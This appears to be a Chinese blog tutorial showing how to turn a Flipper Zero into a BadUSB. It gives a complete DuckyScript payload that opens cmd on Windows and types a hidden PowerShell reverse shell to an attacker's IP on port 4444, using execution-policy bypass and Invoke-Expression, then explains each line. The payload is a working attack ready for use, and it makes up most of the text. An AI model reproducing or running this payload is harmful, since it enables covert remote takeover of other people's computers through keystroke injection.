Flipper Zero BadUSB反弹shell

Flipper Zero BadUSB反弹shell

前置知识点:

Flipper Zero BadUSB 以及其他几个 BadUSB 设备使用用 DuckyScript 编写的有效负载。一种简单的脚本语言,用于执行导致键盘注入攻击的击键。

步骤

创建rev_shell_win.txt文件,并将其拖到badusb文件夹中.

相关代码:

bash 复制代码
REM This is a BadKB demo script for Windows to execute reverse shell using PowerShell

REM Wait for the system to settle (adjust delay if necessary)
DELAY 1000

REM Open Windows Run dialog (GUI + R)
GUI r
DELAY 500
STRING cmd
DELAY 500
ENTER
DELAY 750

REM Start reverse shell using PowerShell (replace with your own IP 192.168.x.x and port 4444)
STRING powershell -ExecutionPolicy Bypass -nop -w hidden -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.x.x',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object Text.Encoding.ASCII).GetString($bytes,0,$i);Write-Host 'Received command: ' $data; $sendback = (iex $data 2>&1 | Out-String);Write-Host 'Command output: ' $sendback; $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}"
ENTER
DELAY 500

REM Additional delays to give time for the shell to establish the connection
DELAY 1000

REM Finish script
STRING Reverse shell should be active now.
ENTER

代码相关解释

bash 复制代码
1. REM 命令解释
REM 表示 "remark" 或注释,是脚本中的注释标记。注释内容不会被执行,通常用于对代码的解释或说明。以下是脚本中的注释部分:

batch
复制代码
REM This is a BadKB demo script for Windows to execute reverse shell using PowerShell
这行注释表明这是一个用于演示如何通过 PowerShell 创建反向 shell 的 BadKB 脚本。

batch
复制代码
REM Wait for the system to settle (adjust delay if necessary)
该行注释说明脚本会等待系统稳定下来,尤其是在目标计算机插入 USB 设备后,系统可能需要时间识别设备。

2. DELAY 命令
DELAY 是一个控制脚本执行延时的命令。它使得脚本等待指定的时间,以确保目标系统有足够的时间执行每一步操作。单位为毫秒。

batch
复制代码
DELAY 1000
该命令会让脚本延迟 1000 毫秒(即 1 秒)。这个延迟是为了确保系统和输入环境能够稳定。

3. 打开 Windows Run 对话框
batch
复制代码
GUI r
DELAY 500
GUI r 是模拟按下 Windows 键 + R,这是打开 Run 对话框的快捷键。接着通过 DELAY 500 给系统半秒钟的时间来响应。

batch
复制代码
STRING cmd
DELAY 500
ENTER
接下来,STRING cmd 会在 Run 对话框中输入 cmd,即启动 命令提示符。然后,ENTER 命令会模拟按下 回车键,从而打开 cmd。

4. 执行 PowerShell 脚本以启动反向连接
batch
复制代码
STRING powershell -ExecutionPolicy Bypass -nop -w hidden -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.x.x',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object Text.Encoding.ASCII).GetString($bytes,0,$i);Write-Host 'Received command: ' $data; $sendback = (iex $data 2>&1 | Out-String);Write-Host 'Command output: ' $sendback; $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}"
ENTER
这行脚本启动了一个 PowerShell 脚本,用于创建反向连接。

命令解析:

powershell -ExecutionPolicy Bypass -nop -w hidden -c:

-ExecutionPolicy Bypass:绕过 PowerShell 的执行策略,允许执行未签名的脚本。
-nop:表示不加载配置文件(NoProfile),从而加快执行速度。
-w hidden:使 PowerShell 窗口在后台隐藏,不显示在用户桌面上。
-c:执行后续的 PowerShell 代码。
$client = New-Object System.Net.Sockets.TCPClient('192.168.x.x',4444):

创建一个 TCP 客户端对象,并连接到攻击者指定的 IP 地址(192.168.x.x)和端口(4444)。
$stream = $client.GetStream():

获取与远程目标的网络流,这个流用于发送和接收数据。
[byte[]]$bytes = 0..65535|%{0}:

初始化一个字节数组 $bytes,用于接收从网络流中传输的数据。
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0):

循环从网络流中读取数据,直到没有数据可读取为止。
$data = (New-Object Text.Encoding.ASCII).GetString($bytes,0,$i):

将从网络流读取到的字节数据转换成 ASCII 字符串,保存在 $data 变量中。
Write-Host 'Received command: ' $data:

输出调试信息,打印收到的命令。
$sendback = (iex $data 2>&1 | Out-String):

执行接收到的命令,并将任何错误信息和标准输出一起捕获。iex 是 Invoke-Expression,它执行字符串形式的 PowerShell 命令。
Write-Host 'Command output: ' $sendback:

输出执行命令的结果。
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ':

在命令输出后添加 PowerShell 提示符,以便攻击者看到一个类似于本地 PowerShell 环境的提示符。
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2):

将命令的输出(包括提示符)转换为字节数据,以便发送回攻击者的机器。
$stream.Write($sendbyte,0,$sendbyte.Length):

将转换后的字节数据通过网络流发送回攻击者机器。
$stream.Flush():

刷新输出流,确保数据立即被发送。
5. 延迟等待反向连接建立
batch
复制代码
DELAY 500
再次延迟 500 毫秒,确保反向 shell 已成功建立。

6. 脚本结束语
batch
复制代码
STRING Reverse shell should be active now.
ENTER
在脚本的最后,向目标计算机输入一条消息,提示攻击者反向 shell 应该已经激活并可用于远程命令执行。

启动 BadUSB 反向 Shell
查看结果

参考文章:https://hackernoon.com/lang/zh/如何使用鳍状肢零作为-badusb-在-macOS-上获得反向-shell

相关推荐
愚公搬代码4 小时前
【愚公系列】《Manus极简入门》036-物联网系统架构师:“万物互联师”
人工智能·物联网·系统架构·agi·ai agent·智能体·manus
码视野5 小时前
基于物联网的智能家居监控系统设计和实现(源码+论文+部署讲解等)
物联网·智能家居
TDengine (老段)6 小时前
TDengine 在金融领域的应用
大数据·数据库·物联网·金融·时序数据库·tdengine·涛思数据
猎板阿权7 小时前
出于PCB设计层面考虑,连排半孔需要注意哪些事项?
单片机·物联网·平面
TDengine (老段)7 小时前
TDengine 做为 Spark 数据源
大数据·数据库·物联网·ajax·spark·时序数据库·tdengine
欢乐熊嵌入式编程8 小时前
智能手表整机装配作业指导书(SOP)
嵌入式硬件·物联网·目标跟踪·智能手表
清月电子10 小时前
KT148A语音芯片发码很难播放_将4脚对地一下再发正常,什么原因?
单片机·嵌入式硬件·物联网·音视频
欢乐熊嵌入式编程13 小时前
智能手表软件架构设计文档初稿
嵌入式硬件·物联网·开源软件·智能手表
dzzzs17 小时前
科技创业园共享会议室线上预约及智能密码锁系统搭建指南
物联网
数澜悠客1 天前
AI与IoT携手,精准农业未来已来
人工智能·物联网